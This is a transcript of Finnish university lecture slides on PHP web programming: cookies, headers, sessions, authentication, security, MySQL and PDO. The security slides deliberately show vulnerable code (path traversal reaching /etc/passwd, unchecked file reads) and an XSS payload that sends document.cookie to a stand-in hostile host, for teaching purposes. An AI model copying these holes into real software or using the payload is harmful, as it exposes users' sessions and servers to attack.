PHP-perusteet. Jouni Ikonen - Jouni.Ikonen lut.fi

Koko: px
Aloita esitys sivulta:

Download "PHP-perusteet. Jouni Ikonen - Jouni.Ikonen lut.fi"

Transkriptio

1 CT30A WWW-sovellukset PHP-perusteet Jouni Ikonen - Jouni.Ikonen lut.fi Kalvot Arto Hämäläisen kalvojen pohjalta 1 Jouni Ikonen

2 Sisältö PHP Evästeiden käyttö HTTP-otsikkotietojen käsittely ja lähetys Istuntotietojen käsittely Käyttäjien tunnistaminen Tietoturvasta Jouni Ikonen 2

3 Evästeet (cookies) HTTP on tilaton protokolla, ja sen perustoiminnallisuudella ei voida yhdistää peräkkäisiä sivulatauksia toisiinsa Evästeen (Cookie) avulla palvelin voi lähettää selaimelle tiedon, jonka avulla se voidaan tunnistaa myöhemmillä latauskerroilla Selain lähettää palvelimen lähettämän evästeen muuttamattomana takaisin palvelimelle mikäli evästeiden käyttö on estetty selaimen asetuksissa, niitä ei luonnollisesti voi käyttää evästeelle voidaan asettaa voimassaoloaika, ja lisäksi voidaan määritellä, poistetaanko se selainohjelmaa suljettaessa käyttäjä voi poistaa evästeen selainohjelmasta, ja palvelinpäästä voidaan myös pyytää poistamaan eväste esim. asettamalla sen päättymisaika menneisyyteen Jouni Ikonen 3

4 Evästeet (Cookies) Evästeet lähetetään HTTP-otsikoissa ennen varsinaista dokumenttia Evästeiden lähetys voidaan tehdä PHP:n avulla, kutsumalla evästeen lähettämisfunktiota heti dokumentin alussa, ennen sivun varsinaista sisältöä funktion paluuarvo kertoo, onnistuiko tiedot lähettää vai oliko sivun sisältöä jo lähetetty (ei kerro, hyväksyikö käyttäjä evästeen) <?php /* Cookie asetettava ennen tiedoston sisällön tulostamista */ $value = "Cookien sisältö"; $paluuarvo = setcookie("testicookie", $value, time()+3600);?> <!DOCTYPE html Jouni Ikonen 4

5 Evästeet (Cookies), PHP PHP:ssä evästeiden asetukseen ja lähettämiseen selaimelle on 2 funktiota: setcookie( string nimi [, string arvo [, int voimassaoloaika [, string polku [, string toimialue [, bool suojattu[, bool $httponly ] ]]]]] ) setrawcookie() on vastaava ilman sisällön URLkoodausta nimi kuvaus esimerkki nimi evästeen nimi (pakollinen) käytetään cookie-taulukossa avaimena arvo selaimelle tallennettava tieto luettaessa: $_COOKIE['nimi'] voimassaoloaika miten kauan voimassa time()+60*60*24 (vuorokausi) polku missä luettavissa /athamala/ luettavissa vain palvelimen hakemistossa /athamala/ toimialue suojattu käytettävän toimialueen (domainin) nimi tarvitaanko suojattu HTTPSyhteys evästeen siirtoon 0 tai 1 (false tai true) Jouni Ikonen 5

6 Evästeet (Cookies), PHP Selaimelta lähetetyt, aikaisemmilla selauskerroilla tallennetut evästeet ovat automaattisesti käytössä $_COOKIE[] -taulukossa Mikäli evästettä ei ole asetettu ja lähetetty aikaisemmin selaimelle, tai se on vanhentunut, $_COOKIE[]-taulukon kyseinen kenttä on tyhjä jos ei muita evästeitä ole, $_COOKIE[] on tyhjä if (isset($_cookie['testicookie'])) { echo "<p>eväste löytyi, tulostetaan sen sisältö: \"".$_COOKIE['TestiCookie']."\"</p>"; } else { echo "<p>evästettä ei asetettu</p>"; } Jouni Ikonen 6

7 Evästeet (Cookies), PHP Evästeiden poisto tapahtuu myös setcookie()- funktiolla, nimi ja muut käytetyt argumentit yksilöivät evästeen toinen kenttä (cookien sisältö) asetetaan tyhjäksi ("") tai epätodeksi (FALSE) totuusarvon (FALSE) avulla tapahtuvan poiston takia varsinaisena evästeen arvona ei tulisi käyttää totuusarvoa vaihtoehtoinen tapa on asettaa 3. argumentti (voimassaoloaika) menneisyyteen, esim. time() Jouni Ikonen 7

8 Evästeet (Cookies), PHP evästeen asetus: <?php /* Cookie asetettava ennen tiedoston sisältöä */ $value = "Selaimen yksilöivä ja tunnistava merkkijono"; $paluuarvo = setcookie("testicookie", $value, time()+3600);?> evästeen käyttö: if (isset($_cookie['testicookie']) ) { echo "<p>cookie löytyi, tulostetaan sen sisältö: \"".$_COOKIE['TestiCookie']."\" </p>"; } Jouni Ikonen 8

9 HTTP-otsikkotietojen lähetys PHP:llä PHP:n avulla voidaan lisätä ja lähettää palvelimen ja selainohjelman välissä käytettävän HTTP-siirtoprotokollan otsikkokenttiä Otsikkotiedot lisätään header(string string [, bool replace [, int http_response_code]] )-funktiolla oletusarvoisesti korvataan edellinen samanniminen kenttä, mutta voidaan myös lisätä replace-argumentin arvoksi false, mikä lisää toisen samannimisen otsikon, http_response_code määrittelee HTTP-vastauksen tila-arvon headers_sent() -funktiolla voidaan tarkistaa, onko otsikot jo lähetetty selaimelle, vai voidaanko vielä lähettää lisää otsikoita palauttaa TRUE, jos otsikot jo lähetetty, ja FALSE, jos otsikoita voidaan vielä lisätä ja vaihtaa Otsikkokenttien avulla voidaan mm. määrittää dokumentin muoto ohjata uudelle sivulle ilmoittaa virhe sivua ladatessa pyytää käyttäjäntunnistusta jne Jouni Ikonen 9

10 HTTP-otsikkotiedot, uudelleenohjaus PHP:n avulla voidaan selaimen pyyntö ohjata uudelle sivulle Tapahtuu header("location: osoite") -funktiolla HTTP/1.1 -protokollamääritys vaatii absoluuttisen osoitteen ohjausarvona suhteellisen sijaan, mutta selaimet ymmärtävät kyllä suhteellisen Varmempaa siis kuitenkin käyttää absoluuttista osoitetta, joka voidaan muodostaa dynaamisesti esim. <?php $palvelin = $_SERVER['HTTP_HOST']; $hakemisto = rtrim(dirname($_server["php_self"]), '/\\'); $sivu = 'header2.php'; if (!headers_sent()) { header("location: exit; } else { echo "virhe, otsikot jo lähetetty"; }?> Jouni Ikonen 10

11 HTTP-otsikkotiedot, dokumenttityypin määrittely esim. lataapdf.php?file=tiedosto <?php /* asetetaan otsikkokentillä tyypiksi pdf ja määritellään tiedosto ladattavaksi liitetiedostoksi, poistetaan mahdolliset hakemistot tiedostonimestä, ettei pääse lukemaan ihan mitä tahansa tiedostoa */ if (!empty($_get['file'])) { $luettavatiedosto = basename($_get['file']); $luettavatiedosto.= ".pdf"; header('content-type: application/pdf'); header('content-disposition: attachment; filename='.$luettavatiedosto); readfile($luettavatiedosto); } else { echo "<form method=\"get\">tiedoston nimi (esim. \"luentox\"): <input type=\"text\" name=\"file\" /></form>"; }?> Jouni Ikonen 11

12 HTTP-otsikkotiedot, virhekäsittelijä Mikäli halutaan määritellä palvelin palauttamaan virhetapauksessa (esim. tiedostoa ei löydy) erilainen virhesivu, voidaan se tehdä määrittelemällä virheenkäsittelijäksi php-sivu, jossa lähetetään otsikkotietona virhetieto ja sen jälkeen näytetään haluttu virheilmoitus virhe.php: <?php if (!headers_sent()) { header("http/ Not Found"); }?> <!DOCTYPE Jouni Ikonen 12

13 Istuntotietojen käsittely Istuntotietojen avulla voidaan tallentaa tietoa käsiteltäväksi myöhemmissä php-sivuissa, joita samalla kerralla haetaan Sivuilla vierailevalle annetaan yksilöllinen tunniste, joka tallennetaan evästeeksi tai välitetään otsikkotiedoissa mukana Mikäli php-esikäsittelijän asetuksissa (ei siis php-koodissa) on määritelty istunnon automaattinen aloitus (session.auto_start = 1), tai skriptissä kutsutaan funktiota session_start(), mahdollistetaan muuttujien tallennus istuntotietoihin tieto istunnosta luodaan, kun ensimmäinen muuttuja rekisteröidään istuntotietoihin (seuraava kalvo) huom. mikäli automaattinen aloitus on käytössä, ei voida olioita tallentaa istuntotietoihin, koska luokkamääritykset tulee ladata ennen istunnon aloitusta olion uudelleenluomisen takia Jouni Ikonen 13

14 Istuntotietojen käsittely Tietoja mahdollista tallentaa istunnon ajaksi $_SESSION[]-taulukkoon (suositeltava) tai session_register() -funktiolla (vanhentunut) session_unregister(), session_is_registered() -funktioilla poistetaan tai tarkistetaan muuttuja istuntotiedoista $_SESSION[]-taulukon kenttiä voidaan käsitellä samalla tavoin kuin muitakin muuttujia esim. unset($_session['laskuri']); isset($_session['laskuri']); session_destroy(); Jouni Ikonen 14

15 Istuntotietojen käsittely <?php session_start(); <html> // The session_start() function must appear BEFORE the if(isset($_session['views'])) $_SESSION['views']=$_SESSION['views']+1; else $_SESSION['views']=1; // if $SESSION['views'] does not exist create it echo "Views=". $_SESSION['views'];?> More: Jouni Ikonen 15

16 Istuntotietojen välitys Istuntotietojen tunniste voidaan välittää eri kutsujen välillä evästeiden avulla (voimassaolo siihen asti, kunnes selain suljetaan), oletusevästeenä $_COOKIE['PHPSESSID'] URL-osoitteen parametrina Istuntotiedoista välitetään selaimelle vain istuntotunniste, muut istuntokohtaiset tiedot $_SESSION -taulukossa pidetään vain palvelimella Evästeiden käyttöä suositellaan istuntotunnisteen välitykseen, mutta PHP tarjoaa vaihtoehtoiseksi myös URL-osoitteeseen koodauksen URL-osoitteessa näkyminen vaatii use_trans_sid -asetusarvon päälle laittamista php-esikäsittelijän asetuksista (nykyisissä versioissa poissa käytöstä oletuksena) voi aiheuttaa ongelmia, mikäli istuntotietoja tallennetaan kirjanmerkkeihin tai julkisten tietokoneiden välimuisteihin Jouni Ikonen 16

17 HTTP-käyttäjäntunnistus PHP:llä Mikäli PHP:tä ajetaan Apache-palvelimen moduulina, voidaan PHP:ssä käyttää HTTP-käyttäjäntunnistuslaatikkoa Käyttäjäntunnistus voi olla Basic- (käyttäjän tunnus ja salasana lähetetään selaimelta palvelimelle) tai Digest-tyyppiä (salasanalla muodostetaan vastaus satunnaiseen haasteeseen, eikä sitä lähetetä verkon yli) Käyttäjän syöttämät tiedot tallentuvat muuttujiin $_SERVER['PHP_AUTH_USER'] sisältää käyttäjätunnuksen $_SERVER['PHP_AUTH_PW'] sisältää salasanan (ei Digestvaihtoehdossa) $_SERVER['PHP_AUTH_DIGEST'] sisältää Digestautentikoinnissa saadun vastauksen Näitä muuttujia voidaan sitten vertailla sallittuihin tunnuksiin ja niiden salasanoihin Jouni Ikonen 17

18 HTTP-käyttäjätunnistus PHP:llä <?php if (!isset($_server['php_auth_user'])) { header('www-authenticate: Basic realm="testisivu"'); header('http/ Unauthorized'); /* lähetetään 401-tilaviesti, joka tarkoittaa käyttäjäntunnistuksen vaatimista */ echo 'Et ole tunnistautunut'; exit; } else { // tässä tilanteessa pitää tarkistaa, että alla olevilla tunnuksilla on oikeutta jotain tehdä! echo "<p>olet siis \"{$_SERVER['PHP_AUTH_USER']}\", ja "; echo "salasanasi on \"{$_SERVER['PHP_AUTH_PW']}\"</p>"; }?> More: Jouni Ikonen 18

19 Tietoturva Riippuen palvelimen asetuksista, PHP:llä voidaan ajaa hyvinkin vapaasti erilaisia toimintoja pääsy palvelimen tiedostoihin yhteydet palvelimelta muihin koneisiin järjestelmäkomentojen ajo palvelimella Sen takia tuleekin tietoturvaa miettiä PHP-sivuja luodessa erittäin tarkkaan Tietoturva muodostuu sekä palvelimen oikeanlaisesta konfiguroinnista että PHP-skriptien tietoturvasta Jouni Ikonen 19

20 Tietoturva Kaksi tärkeää perusasiaa: Palvelimen konfiguroinnissa PHP-moduulille annetavaan vain tarpeelliset oikeudet Tarkista skriptissä kaikki syötteet, jotka tulevat käyttäjältä tai muualta varmistamattomasta lähteestä WWW-palvelimen hakemistossa olevalla tiedostolla on URL-osoite, jonka avulla voidaan kutsua suoraan (vaikkei tarkoitus olekaan, vaan esim. php:n include():lla), mikäli ei ole palvelimesta estetty (tarkkana nimeämisten ja liitettävien tiedostojen hakemiston valinnan kanssa) Tarkistamattomien syötteiden ja väärien oikeuksien avulla voi saada pahaa jälkeä tiedostojärjestelmässä ja tietokantayhteyksissä Käydään tietokantakyselyiden tietoturvasta tarkemmin ensi kerralla, kun käsitellään tietokantojen käyttöä PHP:llä yleensäkin Jouni Ikonen 20

21 Tietoturva, lomakkeen käsittely PHP-skriptissä ei voi olettaa, että lomakkeen tietoja käsitellessä asiakaspuolen tarkistukset olisivat tarpeeksi kattavat javascript-tarkistukset voi ohittaa kytkemällä javascriptin pois selaimen asetuksista lomakkeeseen määritellyt arvot voi ilkeämielinen ohittaa tekemällä uuden lomakkeen tai vaikka kutsumalla skriptiä muulla tavoin, esim. telnet-yhteyden kautta tai omalla ohjelmalla <form action="/process.php" method="post"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> <form action="http://example.org/process.php" method="post"> <input type="text" name="color" /> <input type="submit" /> </form> Jouni Ikonen 21

22 Tietoturva, syötteen käsittely <?php /* käyttäjän määrittelemien tiedostojen lukeminen onnistuu kätevästi samasta hakemistosta, mutta onko turvallista? */ $tiedosto = $_GET['tiedosto']; $hakemisto = './' // nykyinen hakemisto $hakemistotiedosto = $hakemisto.$tiedosto; $jep = readfile($hakemistotiedosto);?> Jouni Ikonen 22

23 Tietoturva <?php // remove a file from the user's home directory $username = $_POST['user_submitted_name']; $homedir = "/home/$username"; $file_to_delete = "$userfile"; unlink ("$homedir/$userfile"); echo "$file_to_delete has been deleted!";?> <?php // removes a file from anywhere on the hard drive that // the PHP user has access to. If PHP has root access: $username = "../etc/"; $homedir = "/home/../etc/"; $file_to_delete = "passwd"; unlink ("/home/../etc/passwd"); echo "/home/../etc/passwd has been deleted!";?> Jouni Ikonen 23

24 Tietoturva <?php // removes a file from the hard drive that // the PHP user has access to. $username = $_SERVER['REMOTE_USER']; // tunnistettu käyttäjä // käyttäjän kotihakemiston muodostus $homedir = "/home/$username"; $file_to_delete = basename("$userfile"); // poistaa polut unlink ($homedir/$file_to_delete); $fp = fopen("/home/logging/filedelete.log","+a"); // kirjoittaa lokiin poiston tiedot $logstring = "$username $homedir $file_to_delete"; fwrite ($fp, $logstring); fclose($fp); echo "$file_to_delete has been deleted!";?> Jouni Ikonen 24

25 Tietoturva, "cross-site scripting" XSS Cross-site scripting -termillä (XSS) tarkoitetaan hyökkäyksiä, joiden avulla käyttäjän luottamalla sivulla näytetäänkin toisen sivun sisältöä vähän edelliseen liittyvä, koska usein näytettävä data on määritelty lomakkeen syötteen avulla erityinen uhka käyttäjien luottamilla sivuilla, joilla paljon käyttäjien syöttämän tekstin näyttämistä, esim. keskustelupalstat XSS-uhkia voidaan välttää varmistamalla ulkoisesta lähteestä tulevan datan oikeellisuus käyttämällä PHP:n sisäänrakennettuja funktioita muokkaamaan syötteistä oikeellisia muotoja, esim. htmlentities() tekee html:n käyttämistä merkeistä html - erityismerkittyjä, esim. "< >" "< >" strip_tags() poistaa html- ja php-tagit merkkijonosta utf8_decode() koodaa utf8-merkistöön koodatun ISO merkistön mukaisen tekstin ISO merkistöön suhtautumalla kriittisesti kaikkeen dataan, kunnes ne on varmasti korjattu Jouni Ikonen 25

26 XSS, esimerkki PHP-skripti (esim. vieraskirja) <form> <input type="text" name="message"> <br /> <input type="submit"> </form> <?php if (isset($_get['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br />"); fclose($fp); } readfile('./messages.txt');?> Mitä jos käyttäjä syöttääkin viestiksi <script> document.location = 'http://paha.osoite.fi/sivu.php? cookies=' + document.cookie </script>? OK, hyvin konfiguroiduilla nykyisellä versiolla ei välttämättä mitään, koska syötteessä käsitellään jo tietyt merkit automaattisesti, mutta antaa aihetta www-sovelluskehittäjänkin miettiä tiettyjä tietoturva-asioita Jouni Ikonen 26

27 Tietoturva, Include-sivujen käyttö tietokantaskripti.php <?php /* pistetään asetukset sopivasti tiedostoon, josta ne luetaan mukavasti eri skripteistä */ include('db.inc') db.inc: <?php $mysql_host = "localhost"; $mysql_user = "jee"; $mysql_pass = "joo"; // tehdään tietokannalle jotain?> Mikäli sisällytettävä tiedosto db.inc on nimetty esimerkin kaltaisesti ja pistetty WWWpalvelimen sivuhakemistoon, eikä palvelimella ei ole.inc -tiedostoja pistetty käsittelyyn PHP-esikäsittelijän kautta, sisällytettävän tiedoston nimen arvaamalla voidaan selvittää arkaluontoisia asioita, esim. käyttäjätunnuksia - toisaalta myös näiden sivujen suora PHPkäsittely voi myöskin aiheuttaa ongelmia, mikäli kehittäjä ei ole huomioinut asiaa?> Jouni Ikonen 27

28 CT30A WWW-sovellukset Tietokantojen käyttö WWWsovelluksissa Jouni.Ikonen lut.fi Kalvot Arto Hämäläisen kalvojen pohjalta 1 Jouni Ikonen

29 Tietokannan käyttö PHP:ssä PHP sisältää sisäänrakennetun tuen useille eri tietokannoille ja tietokantayhteyksille MySQL, Oracle, PostgreSQL, SQLite, ODBC,... Käsitellään esimerkkinä MySQL-tietokannan käyttöä lähes poikkeuksetta vastaavat funktiot löytyvät myös muille mainituille tietokannoille, ja lisäksi... PHP:n versiossa 5 on esitelty PHP Data Objects -malli, jolla pyritään luomaan yhtenäinen liityntä eri tietokantoihin tietokantayhteyden määrittelevät funktion argumentit riippuvat käytettävästä tietokannasta, muuten toiminnot ovat yhtäläiset eri tietokantojen välillä Arto Hämäläinen & Jouni Ikonen 2

30 Tietokantayhteyden vaiheet Tietokantaa käyttävä PHP-skripti suorittaa yleensä seuraavat toiminnot: yhteyden luominen tietokantaan (osoite, käyttäjätunnus, salasana) käytettävän tietokannan valinta ja kyselyn suorittaminen kyselyn palauttaman tiedon haku tulosresurssista taulukkoon tai olioon ja tietojen käsittely skriptissä vain kyselyissä, joissa haetaan tietoa yhteyden katkaisu Arto Hämäläinen & Jouni Ikonen 3

31 PHP, Tietokantayhteyden luominen Tietokantayhteys luodaan PHP-skriptistä joko mysql_connect() tai mysql_pconnect() -funktioilla, jotka palauttavat onnistuessaan yhteyden tunnisteen tai epäonnistuessaan arvon epätosi (false) mysql_pconnect() luo pysyvän yhteyden, joka ei katkea skriptin suorituksen jälkeen, uudet tämän funktion kutsut palauttavat aikaisemmin luodun yhteyden tunnisteen yhteydenmuodostuksen tyypin vaihto ei vaikuta skriptin toimintaan, tehokkuuteen voi kylläkin vaikuttaa $yhteys = mysql_connect('localhost', 'kayttaja', 'salasana'); if (!$yhteys) { } die( "Tietokantayhteys epäonnistui: ". mysql_error()) ; echo "Tietokantayhteys onnistui"; // suoritetaan halutut komennot // voidaan sulkea lopuksi haluttaessa komennolla mysql_close(); Arto Hämäläinen & Jouni Ikonen 4

32 PHP, tietokannan valinta ja kyselyn suoritus Käytettävä tietokanta valitaan funktiolla mysql_select_db('tietokannan_nimi') Tietokantakysely suoritetaan funktiolla $tulos = mysql_query('kysely') onnistunut kysely palauttaa tulosresurssin tai totuusarvon tosi (riippuen kyselyn tyypistä), epäonnistunut totuusarvon false (epätosi) /* valitaan tietokanta */ mysql_select_db('oma_tietokanta') or die ('Tietokannan valinta epäonnistui'); /* määritellään kysely ja suoritetaan se */ $kysely = 'select * from henkilo'; $tulos = mysql_query($kysely) or die ('Kysely epäonnistui: '. mysql_error()); Arto Hämäläinen & Jouni Ikonen 5

33 PHP, tulosresurssin käsittely Onnistuneen kyselyn jälkeen tietokantakyselyn tulosresurssi (mikäli kyseessä oli tiedon haku) voidaan käydä läpi rivi riviltä siirtäen tietokannan tiedot PHP:n sisältämiin tietotyyppeihin Kunkin rivin tiedot voidaan tallentaa taulukkomuotoon suorittamalla silmukassa $taulukko = mysql_fetch_array($tulos) -funktio funktiolle voidaan määritellä toisena argumenttina taulukon avainten haluttu muoto: MYSQL_ASSOC (tietokannan sarakkeen nimi), MYSQL_NUM (numero), MYSQL_BOTH (molemmat, oletus) Vaihtoehtoisia funktioita kyselyresurssin läpikäymiseen ovat mysql_fetch_row() (samanlainen kuin mysql_fetch_array MYSQL_NUM -määrityksellä ja mysql_fetch_object() (palauttaa olion) Arto Hämäläinen & Jouni Ikonen 6

34 PHP, tulosresurssin käsittely mysql_fetch_... -funktiot palauttavat kerrallaan yhden rivin ja siirtävät sisäistä osoitinta rivin verran eteenpäin Mikäli tietoja ei enää ole saatavilla, funktiot palauttavat totuusarvon epätosi Niiden käyttö tulee siis sisällyttää esim. while-silmukkaan tyhjän haun sattuessa while-silmukan sisältöä ei suoriteta yhtään kertaa Haluttaessa palautettujen rivien määrä saadaan funktiolla mysql_num_rows($tulos), ja muokkauskyselyssä muokattujen rivien määrä funktiolla mysql_affected_rows($yhteys) /* käydään läpi tulosresurssia */ while ($taulukko = mysql_fetch_array($tulos, MYSQL_BOTH)) { } echo "Sarake 1:". $taulukko[0]; // tai $taulukko['sarake1'] Arto Hämäläinen & Jouni Ikonen 7

35 Tietokannan käyttö PHP:ssä, yhteenveto $host = "localhost"; //tietokannan osoite $database = "oma_tietokanta"; //tietokannan nimi $user = "username"; //käyttäjänimi $password = "salasana"; //salasana mysql_connect($host, $user, $password); mysql_select_db($database) or die ("Database selection failed"); $query = "select * from taulu"; $tulos = mysql_query($query); /* tehdään jotain kyselyn tulokselle */ mysql_close(); // suljetaan yhteys Arto Hämäläinen & Jouni Ikonen 8

36 PHP, tietoturva tietokannan käytössä Merkittävin uhka tietoturvalle PHP-käytössä on tarkistamattomat kyselyt, joissa käytetään käyttäjän antamaa syötettä Tarkistamaton kysely saattaa mahdollistaa tietokannan tietojen lukemisen, muuttamisen, poiston tai oikeuksien muutoksen Turvalliseen käyttöön on useita ohjeita käytä tunnusta, jolla on vain välttämättömimmät oikeudet tietokantaan tarkista, onko annettu tieto oikeaa tyyppiä, ja tarvittaessa muunna tieto haluttuun muotoon, esim. settype($offset, 'integer'); $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset"; käytä erikoismerkkien asianmukaiseen käsittelyyn tarkoitettuja funktioita kyselyä valmistellessa, esim. MySQL:n kanssa mysql_real_escape_string() älä tulosta skriptissä tietokantaan liittyviä tietoja, ettei sitä paljastu tärkeitä tietoja tietokannasta Arto Hämäläinen & Jouni Ikonen 9

37 PHP Data Objects, PDO PHP Data Objects (PDO) -laajennus sisältää yhtenäisen liitynnän eri tietokantoihin PHP:stä saatavissa alkaen PHP:n versiosta 5 käytettävän tietokannan vaihto onnistuu PDOluokan muodostinfunktion argumentteja vaihtamalla varsinaiset käyttöfunktiot ovat samat kaikille tietokannoille Tuki eri tietokannoille on PDO:n mukaisissa tietokannan ajureissa PDO-ajurit olemassa yleisimmille tietokannoille (MySQL, Oracle, PostgreSQL, SQLite, ODBC, jne.) Arto Hämäläinen & Jouni Ikonen 10

38 PDO, Yhteyden luonti Tietokantayhteys luodaan luomalla PDO-luokan olio $yhteys = new PDO(...) luokkana tietokantatyypistä riippumatta PDO Luokan muodostinfunktiolle annetaan argumenttina tietokannasta riippuva yhteyden määrittelevä merkkijono ja mahdollisesti käyttäjänimi ja salasana esim. MySQL: $yhteys = new PDO('mysql:host=localhost;dbname=oma_tietokanta', $kayttaja, $salasana); esim. SQLite2: $yhteys = new PDO('sqlite2:.\tietokanta.db'); Yhteys puretaan asettamalla olion muuttujan arvoksi null, esim. $yhteys = null; Arto Hämäläinen & Jouni Ikonen 11

39 PDO, Kyselyn vaiheet Kysely valmistellaan tietokantayhteyden olion prepare()-funktiolla $kysely = $yhteys->prepare('select * FROM henkilo'); Kysely suoritetaan execute()-funktiolla $kysely->execute(); funktion palautusarvosta voidaan tarkistaa sen onnistuminen Kyselyn tuloksia voidaan käsitellä olion fetch() -jäsenfunktion avulla Arto Hämäläinen & Jouni Ikonen 12

40 PDO, muuttujien sitominen valmisteltuihin kyselyihin PDO:n avulla voidaan muodostaa dynaamisia kyselyitä sitomalla muuttujia valmisteltuihin kyselyhin bindparam() -funktiolla muuttujat voidaan sitoa nimettyihin kohtiin kyselyssä, $kysely->bindparam(':nimi', $nimi) indeksein, joihin viitataan kyselyssä?-merkillä $kysely->bindparam(1, $nimi); $kysely->prepare('select * from henkilo where etunimi = :nimi ') $kysely->bindparam(':nimi', $etunimi); // TAI $kysely->prepare('select * from henkilo where etunimi =? ') $kysely->bindparam(1, $etunimi); Arto Hämäläinen & Jouni Ikonen 13

41 PDO, muuttujien sitominen valmisteltuihin kyselyihin Suoritettaessa kyselyä execute()-funktiolla sijoitetaan muuttujien arvot kyselyihin sidotuille paikoilleen Muuttujan arvoa muuttamalla ja kutsumalla execute()-funktiota uudestaan saadaan aikaisemmin valmisteltu kysely suoritettua uudestaan uudella muuttujan arvolla Esim. taulukon tiedot voidaan lisätä tietokantaan foreachsilmukassa sijoittamalla sidottuihin muuttujiin taulukon kenttien arvot ja kutsumalla PDO:n execute-funktiota silmukan ajokerroilla Arto Hämäläinen & Jouni Ikonen 14

42 Yksinkertainen PDO-esimerkki // yhteydenmuodostus riippuu käytettävästä tietokannasta $yhteys = new PDO('mysql:host=localhost;dbname=test', $kayttaja, $salasana); // kyselyn määritys ja valmistelu, haetaan kaikkien Brianeiden tiedot $etunimi = 'Brian'; $kysely = $yhteys->prepare('select * FROM henkilo WHERE etunimi =?'); $kysely->bindparam(1, $etunimi); // kyselyn suoritus ja tuloksen käsittely if ($tila = $kysely->execute()) { } while ($rivi = $kysely->fetch()) { print_r($rivi); } $etunimi = 'Matti'; $kysely->execute(); //... Mattien tietojen haku $yhteys = null; // yhteyden sulkeminen Arto Hämäläinen & Jouni Ikonen 15

43 Yksinkertainen PDO-esimerkki, lisäys $yhteys = new PDO('mysql:host=localhost;dbname=test', $kayttaja, $salasana); // kyselyn määritys ja valmistelu $kysely = $yhteys->prepare('insert INTO henkilo (etunimi, sukunimi, puhelinnro) VALUES (:etunimi, :sukunimi, :puhelinnro)'); $kysely->bindparam( :etunimi, $etunimi); $kysely->bindparam( :sukunimi, $sukunimi); $kysely->bindparam( :puhelinnro, $puhelinnro); $etunimi = "Brian"; $sukunimi = "Kottarainen"; $puhelinnro = ' '; $kysely->execute(); // Brianin tiedot $etunimi = "Matti"; $sukunimi = "Meikäläinen"; $puhelinnro = ' '; $kysely->execute(); // Matin tiedot $yhteys = null; // yhteyden sulkeminen Arto Hämäläinen & Jouni Ikonen 16

44 PHP DOM-funktiot PHP:n avulla on mahdollista käsitellä dokumentteja Document Object Model -mallin (DOM) mukaisesti PHP:n DOM-funktiot on tarkoitettu erityisesti XML-tiedostojen käsittelyyn, mutta XHTML-tiedostojen käsittelykin onnistuu hyvin DOM-luokan olio voidaan luoda tyhjästä tai lukea olemassa oleva tiedosto Tiedosto voi olla paikallinen tai etätiedosto Arto Hämäläinen & Jouni Ikonen 17

45 PHP DOM-funktiot DOM-luokan olio voidaan luoda tyhjästä tai lukea olemassa oleva tiedosto Tiedosto voi olla paikallinen tai etätiedosto $dom = new DomDocument(); $dom->loadhtmlfile( "http://esimerkki.fi/exercises.html" ); Esim. vaihdetaan sivun tyylikirjaston osoite, halutaan käyttää testi.css - tyylitiedostoa: $linkit = $dom->getelementsbytagname('link'); for ($i = 0; $i < $linkit->length; $i++) { if ($linkit->item($i)->getattribute('rel') == 'stylesheet'){ $linkit->item($i)->setattribute('href', 'testi.css'); } } Arto Hämäläinen & Jouni Ikonen 18

46 PHP DOM-funktiot Poistetaan kaikki <p></p> -elementit (kappaleet tiedostosta $runko = $dom->getelementsbytagname('body')->item(0); $kappaleet = $dom->getelementsbytagname('p'); $maara = $kappaleet->length; for($i=0;$i<$maara;$i++) } Lisätään uusi elementti $element = $dom->createelement("h2", "Uusi kakkostason otsikko"); $dom->appendchild($element); Tulostetaan dokumentti näytölle echo $dom->savehtml(); Arto Hämäläinen & Jouni Ikonen 19

47 PHP, PDF-funktiot PHP:n avulla voidaan luoda ja käsitellä PDF-tiedostoja yleisimmin käytetty PDFLib -kirjastoa (www.pdflib.com), myös vapaita kirjastoja olemassa PDF-tiedostojen luontiin PHP:llä (esim. FPDF ) PHP5:ssä voidaan käyttää PHP5:n oliomallin mukaista ohjelmointirajapintaa, PHP4:ssä erillisiä funktioita esim. dokumentin luonti FPDF-kirjastoa käyttäen käyttäen: /* PHP 5 */ require('fpdf.php'); /* ladataan fpdf-toiminnot fpdf:sta, joka on asennettu */ $pdf=new FPDF(); /* oletuksena Pysty A4 -koko ja millimetrit yksiköinä, sama kuin $pdf=new FPDF('P','mm','A4'); */ /* tämän jälkeen $pdf-oliota käyttäen voidaan pdf-dokumenttiin lisätä tietoa */ Arto Hämäläinen & Jouni Ikonen 20

48 PHP, FPDF-funktiot Funktioiden avulla voidaan käsitellä PDF:n näkyvää sisältöä ja sen yleisiä tietoja (tekijä yms.) <?php require('fpdf.php'); $pdf=new FPDF(); $pdf->setauthor("arto Hämäläinen"); $pdf->addpage(); $pdf->image('kuva.jpg', 0, 0, 150); $pdf->setfont('arial','b',16); $pdf->setxy(5,40); $pdf->cell($pdf->getstringwidth('esimerkkiteksti')+5,10,'esimerkkiteksti',1); $pdf->output();?> Arto Hämäläinen & Jouni Ikonen 21

SQL-perusteet, SELECT-, INSERT-, CREATE-lauseet

SQL-perusteet, SELECT-, INSERT-, CREATE-lauseet SQL-perusteet, SELECT-, INSERT-, CREATE-lauseet A271117, Tietokannat Teemu Saarelainen teemu.saarelainen@kyamk.fi Lähteet: Leon Atkinson: core MySQL Ari Hovi: SQL-opas TTY:n tietokantojen perusteet-kurssin

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 2.3.2009 T-106.1208 Ohjelmoinnin perusteet Y 2.3.2009 1 / 28 Puhelinluettelo, koodi def lue_puhelinnumerot(): print "Anna lisattavat nimet ja numerot." print

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 15.3.2010 T-106.1208 Ohjelmoinnin perusteet Y 15.3.2010 1 / 56 Tiedostoista: tietojen tallentaminen ohjelman suorituskertojen välillä Monissa sovelluksissa ohjelman

Lisätiedot

SELVITYSRAPORTTI LABRA-VERKON MYSQL:n JA PHP:n KÄYTTÖÖNOTOSTA. Jarkko Kähkönen

